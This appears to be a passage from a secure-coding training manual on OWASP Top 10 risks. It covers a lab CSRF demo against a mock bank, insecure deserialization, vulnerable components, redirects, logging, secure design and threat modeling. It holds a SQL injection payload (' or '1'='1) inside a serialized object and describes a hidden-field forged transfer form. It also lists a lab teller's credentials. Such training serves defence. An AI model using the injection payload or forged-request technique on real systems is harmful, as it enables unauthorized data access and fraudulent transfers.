Step 1: The Bank Teller (Steve) receives a malicious email containing link for an
interesting game through an unknown source.

Step 2: He clicks on that link out of temptation. Upon clicking the link in mail, a game page
gets displayed in the same browser (where Bank Teller is logged in) but in a new tab.

Step 3: He clicks on the button "Click here to Start” to play the game.
Below screenshot shows that on clicking the start button, he is shocked to find that he has added
money to some other account.
Finding the Reason for CSRF Vulnerability in EDUBank Application
Demo Steps:
Step 1: Copy the malicious game link
"http://vjeemys-09:5555/WeakApp/faces/playgame.html" in a new tab in browser and press
enter. You will notice that the URL of game page actually directs to some other site, in this
case WeakApp as highlighted.

Step 2: Right click in the game page and select "View page source" option
 Below screenshot explains that the source code contains malicious page. The malicious
page contained a form with hidden fields (account number and amount)
  First icon shows that bank teller has visited malicious website WeakApp
 Second icon shows that the source page consists of HTML page which is by default
taking account number as a hidden form attribute
 Third icon shows that source page contains amount to be transferred as a hidden form
attribute
Step 3: Click on your browser (Chrome) menu > choose "More tools" >click on "Developers
tools" to view network traffic.
Step 4: When the bank teller clicks on “Click here to Start” button to play the game, the form is
submitted to EDUBank as highlighted in the below image.
 1. First icon shows that from is submitted to EDUBank
2. Second icon shows that page have URL of EDUBank
3. Third icon shows that source page consists of HTML page which is by default taking
account number as a pre-coded value
4. Fourth icon shows that source page contain amount to be transferred hidden in
background as a pre-coded value
Why did it happen?
 The main reason for this malicious action was that the EDUBank server could not
distinguish from which tab the request came from, since the teller was already logged in
hence it executed the request
 There was no authentication before the execution of the transaction
 The WeakApp site was able to submit a forged request to EDUBank, hence resulting in
Cross Site Request Forgery.
Mitigation
 Users should be cautious about the links provided in the forwarded mails before clicking
 Developers must use multi authentication method like OTP to perform any transaction. In
this case, if an OTP was required to transfer funds, the transaction might not have gone
through.
A8 Insecure Deserialization
let us try to understand serialization and deserialization.
Serialization is a process which converts an object into byte stream that can be easily
stored and transmitted in textual form. The reverse of serialization i.e. creating object from byte
stream is termed as deserializaion.
Insecure Deserialization vulnerability occurs when the application accepts untrusted input
and deserialize it.
Attack motive
 To alter database
 To get access to unauthorized privileges
 To cause denial of data access
 To execute remote code
Procedure of the attack
 An attacker puts untrusted input which gets deserialized and results in exploitation of the
application
Scenario
Let us take an example of a game. Suppose when the game is finished, it hits the server to log
and retrieve high scores. It sends the object by using the process of serialization.
Let us suppose the object takes the following inputs.
{
“Username” : “Alex”
“TimeTaken” : “45:00”
“Score” : “4445”
}
After serialization it will be converted in the following format and sent to the server.
{"Username" : "Alex", "TimeTaken" : "45:00" , "Score" : "4445"}
Now, it will retrieve all the high scores of the user. To retrieve the high scores from the server
deserialization process is used. Suppose that the application is using the following SQL query to
retrieve the required data.
"select score from highscore where username = '" + game.username + "';"
Attacker could insert SQL injection payload directly into the serialized object as following code.
{"Username" : " 'or '1'= '1 ", "TimeTaken" : "45:00" , "Score" : "4445"}
The server will deserialize the data and then use it as the object. It will take the username as the
injected input which will retrieve irrelevant data also.
Risks
 Data from the server can be extracted
 Other attacks can also be executed through Insecure Deserialization vulnerability
 Unauthorized privileges can be accessed
Root causes
 Not validating the user input
 Not monitoring the deserialization process
 Giving high privilege environment while deserialization
Mitigations
 Data tampering (something in order to cause damage) should be prevented by
implementing integrity checks such as digital signatures
 Strict type constraints must be enforced during deserialization before object creation.
 Low privilege environments must be provided while running the code which is used for
deserialization.
 Restricting or monitoring incoming and outgoing network connectivity from containers
or servers that deserialize.
A9 Using Components With Known Vulnerabilities
Components, such as libraries, frameworks, and other software modules, almost always
run with full privileges. If a vulnerable component is exploited, it can facilitate the attacker in
performing serious data loss activity or in takeover of a server.
Attackers can identify the components (frameworks, libraries), their versions and their
vulnerabilities used by an application and exploit vulnerabilities in those components.
General input as per OWASP.
 "In many cases, the developers don't even know all the components they are using, never
mind their versions."
 "Component dependencies make things even worse."
Following are the motives of Attack.
 To access the range from minimal to complete host takeover and data compromise
 To design a sophisticated malware by using component vulnerability for targeting a
specific organization
 To run the components with full privilege and exploit the flaws in the components
Procedure of the attack
 Attacker identifies a weak component through scanning or manual analysis
 He customizes the exploit as needed and executes the attack. It gets more difficult if the
used component is deep in the application
Extract Details of Vulnerability Components from National Vulnerability Database
Demo Steps:
The NVD is the U.S. government repository of standards based vulnerability
management data. This data enables automation of vulnerability ( state of being exposed to the
possibility of being attacked ) management, security measurement, and compliance. The NVD
includes databases of security checklist references, security-related software flaws,
misconfigurations, product names, and impact metrics.
Step 1: Copy the link https://nvd.nist.gov/ in browser to access the website of NVD.
Step 2: Expand the “Vulnerabilities” icon.

Step 3: Click on “Full listing”.

One can find month wise enlistment with respect to the year that vulnerability incident
was logged.

Step 4: Click on any month (e.g., April 2018) as highlighted in above image. One can
find vulnerabilities enlisted with CVE code (CVE Pattern :<YEAR NAME>-<RECORD
NUMBER>) as shown below.
For e.g., - “CVE-2018-1270”
Step 5: To know more about this vulnerability, click on "CVE-2018-1270".
Below image shows that the vulnerability "CVE-2018-1270" is a spring framework incident
which was recorded in April 2018. It has a description about vulnerability and its impact on
application.

Risks
 Trivial to sophisticated malware attacks on the organization
Root causes
 Using components that are vulnerable
 Not keeping frameworks, software libraries and custom code up to date
Mitigation for Using Components with Known Vulnerabilities

 Keep your components up to date

 Always use the latest version of open source components as mostly new versions are
created when vulnerabilities in the previous versions are fixed
 Establish security policy in using the components with the appropriate best practices
followed during development to mitigate the risk
 Monitor the security of the components in public databases, project mailing lists, and
security mailing lists, and keep them up to date
A10 Unvalidated Redirects and Forwards
Following are the motives of attack.
 To install malware
 To disclose passwords or other sensitive information of the victims
 To bypass access control by sending unsafe forwards
Procedure of the attack
 Applications frequently redirect users to other pages, or use internal forward in a similar
manner
 The target page is specified in an unvalidated parameter, allowing attackers to choose the
destination page
 Attacker links to unvalidated redirect and tricks victims into clicking it. Victims are more
likely to click on it, since the link is to a valid site. Attacker targets unsafe forward to
bypass security checks
Let us understand how Unvalidated redirects happen.
Step 1: Login to ICICI bank application with your credentials.
Step 2: Navigate to the section "My reward points" via My Accounts > Bank Accounts >
Reward Points
Step 3: Click on the 'Redeem Now' link to redeem your earned points as shown in the image
below.
Such type of hyperlinks redirects the user to some other website which are provided by the bank
for the convenience of the clients.
These hyperlinks can be used by the hackers for breaching into the user's bank account. A hacker
can redirect the user to some malicious pages where the account holder turns out to be a victim.
Mitigation
 Developers should force the redirects to go through a disclaimer page first
 For the above mentioned scenario, the image shown below could be the disclaimer

A10 Insufficient Logging and Monitoring

Organizations maintain log files which record each and every activity of its employees.
Recording the activities of the employees in log files is known as logging and checking these log
files for any logged malicious activity is known as monitoring.
 Not maintaining these log files can cause serious threat to an application. If an employee
tries to perform some malicious activities, he could not be traced back due to the insufficiency of
logging and monitoring system.
Motive of Insufficient Logging and Monitoring
If a hacker knows about the insufficiency of a logging and monitoring system, he can
exploit the application in any number of ways such as, sending confidential data to someone else
who is not part of the organization, altering system configurations etc
Procedure of the attack
An attacker takes advantage of the system which does not provide adequate logs. Without
the logging functionalities it is easy for an attacker to execute a hack and tracing the culprit will
become difficult.
Scenario
Suppose a teller of a bank, named as "EDUBank", logs into his account and tries to give
extra favors to one of the user.
Let us assume user ID “T7302” is a teller of EDUBank and he decided to add 1000
rupees into Daniel’s account. Daniel is one of the user having account no. “138024949150530”.
User ID and password of teller is “T7302” and “T7302*abc”.
The teller will perform following steps to add money (respective to following image).

1. Click on Add Money

2. Enter account number of the user
3. Click on search
4. Give the amount he wants to add
5. Click on add money
On successful transaction he will get the message as highlighted in the following image.
 The teller has added the amount to favor a particular person. He has misused the
privileges granted to him.
Now suppose the authorities of the bank decided to question all the tellers regarding the
unofficial transaction. Teller “T7302” denies his act. Denying an act which a person has actually
committed is termed as repudiation. To prevent repudiation, it is important to have logging and
monitoring.
Now the authorities will check the logs in order to hold the person answerable who has
committed the crime.
[For EDUBank log file is present under C:\Java\log\EDUBankLogger]
By checking the log file, the authorities can easily find out who has done the transaction
as highlighted in the following image.
Risks
 Confidential data can be compromised
 Can bring defamation to an organization
 Very difficult to trace the culprit
Root causes
Following are the root causes of Insufficient Logging and Monitoring.
 Login activities, failed login activities are not logged
 Error messages are not logged clearly
 Even if log files are present but poor monitoring system
 Log files stored locally can be accessed and altered
 Many tools do not initiate alert while testing
Mitigations
 Ensure all the activities are being recorded especially login attempts, failed login
attempts, critical transactions etc.
 Logs generated should have enough context to figure out logged malicious activity
 In case of malicious activities, monitoring and alerting system should work efficiently
Secure Coding Practices
The objective of software security is to ensure Confidentiality, Integrity and Availability
of business. Building such secure software is possible, only if there is a basic understanding on
the security principles and practices.
Generally, it is much less expensive to create secure software than identifying and
correcting vulnerability after the software package has been completed. To be proactive in
defending the applications from intruder attacks, it is imperative to follow the below secure
coding practices during the development of the applications.
Secure coding practices list is a summarization of the Top 10 vulnerabilities listed by
OWASP into the following categories.
 Authentication
o Authentication is required for all pages and resources, except public pages
o Authentication failure message should be generic in nature
o Password hashing must be implemented on the trusted system
o Account lock out policy and request timeout should be enforced
 o Re-authenticate users when they change their passwords
o Use multi-factor authentication for highly sensitive/high value transactions
 Authorization
o Restrict access to protected functions/URLs only to authorized users
o Have proper access control list of valid users/objects and validate access in each
and every entry point to the application before providing him/her the access
 Session Management
o Use robust session management algorithm to generate long unique random
sessions to each user
o Set appropriate session time out property and inactivate session
o Multiple sessions for the same user or Session fixation should not be allowed
 Input Validation
o There should be a centralized input validation routine for the application
o Conduct all data validations on both client and the server
o Encode data to a common character set before validation
o Validate input against a “White list” of allowed characters, wherever possible
o Validate data range, length and type before transmitting it to the server
 Auditing and Logging
o Ensure following events are audited in the log properly
 Input validation failures
 All authentication attempts and access control failures
 Log all system exceptions
 Password change details
 User creation/modification/deletion details
o Ensure sensitive information like password/credit card details are not logged in
the log file
o Only authorized users should have access to the log file
 Error Handling
o All errors should have been handled properly and it should not provide specific
error information
 o Error information should not reveal the configuration related details to the end
users
 Data Protection
o Implement least privilege and restrict users access to only minimal
data/functionality/information which are needed to perform their task
o Encrypt with strong hashing algorithm for highly sensitive data stored in the
server
o Do not store passwords, connection strings in plain-text or cryptographically
insecure format in the client-side
o Remove comments, unnecessary system and application documentation from the
production code that has the configuration details about the server or provide clue
about the architecture/design of the system
o Implement appropriate access control from the sensitive data stored on the server
Secure Design Principles
The basic design principles.
 Minimize attack surface area - add new features with limited access to authorized users
 Establish secure defaults – Software environment must have default secure settings
which may be opted in/out by the user. E.g. password aging and complexity should be
enabled in the server
 Principle of Least Privilege – accounts should have least privilege to all the resources to
perform business operations
 Principle of Defense in depth – put in place multiple gating criteria to exploit the
vulnerability and hence would be extremely difficult for the intruders to exploit it
 Fail Securely – during failure the application should not reveal any sensitive information
or configuration related details to the end users
 Don’t trust services - check the data provided by the third party vendors before using it
in your application
 Separation of duties - the administrator should not be the user of application
 Avoid Security by Obscurity - Instead of hiding sensitive information to end users,
provide proper ACL(Access Control Lists) and restrict access only to authorized users
  Keep security simple - avoid the use of double negatives and complex architectures
when a simpler approach would be faster and simpler
 Fix security issues correctly - test the fix for all affected applications
Threat Modeling
The concept of Threat Modelling helps in identifying threats in the design of any web
application. When you start a web application design, it is essential to apply threat risk modeling;
otherwise you will waste resources, time, and money on useless controls that fail to focus on the
real risks.
What is Threat Modelling?
Threat modeling is an essential process for secure web application development. It is an
engineering technique used in the design phase to help you identify threats, attacks,
vulnerabilities, and countermeasures
It is sometimes referred to as “Threat Analysis” or “Risk Analysis”.
It helps in
 Understanding your security requirements
 Finding security bugs early in the application. Even before you’ve written a line of code,
that’s the best time to find these issues
 No wastage of resources, time, and money on useless controls that fail to focus on the
real risks
 Engineering and delivering better products
 Lowering the time spent on redesigning/rewriting.
Implementation of Threat Modelling
The threat risk modeling process has five steps, enumerated below and shown graphically in
figure.
`
1. Identify Security Objectives: The business leadership, in concert with the software
development and quality assurance teams, all need to understand the security objectives
2. Survey the Application: Once the security objectives have been defined, analyze the
application design to identify the components, data flows, and trust boundaries. Do this
by surveying the application’s architecture and design documentation
3. Decompose it: Once the application architecture is understood then decompose it further,
to identify the features and modules with a security impact that need to be evaluated
4. Identify Threats: It is impossible to write down unknown threats, but it is unlikely that
new malware will be created to exploit new vulnerabilities within custom systems.
Therefore, concentrate on known risks, which can be easily demonstrated using tools or
techniques
5. Identify Vulnerabilities: After identifying the threats the last step of threat modeling
process is identifying the vulnerabilities
Microsoft SDL Tool
Microsoft SDL is a Threat Modeling tool that allows the software developers or
architects to identify and mitigate potential security issues early, when they are relatively easy
and cost effective to resolve. Therefore, it helps reduce the total cost of development.
When you start a web application design, it is essential to apply threat risk modeling;
otherwise you will waste resources, time and money on useless controls that fail to focus on the
real risks.
Let us see how Microsoft SDL tool identifies threats in application design.
Perform Thereat Modelling Using Microsoft SDL
Demo Steps:
The functionality of this tool by designing a simple free data flow diagram of application
that has a web application and a SQL database. They communicate with each other through
an HTTP request.
Step 1: Launch the tool installed on your machine locally. It will display the following
dashboard image.

Step 2: Click on “create a model” to design any application.

Step 3: Design a data free flow diagram of application by using elements explained in step 2 as
follow.
Step 4: Click on View > Analysis view

Step 5: It will display various threat that may occur after developing the application.
 On selecting a threat, you can find description about the threat and its priority
(High/Medium/Low) with respect to implementation.
Accordingly, the web application designer can make changes in the design of the web
application to make it more secure.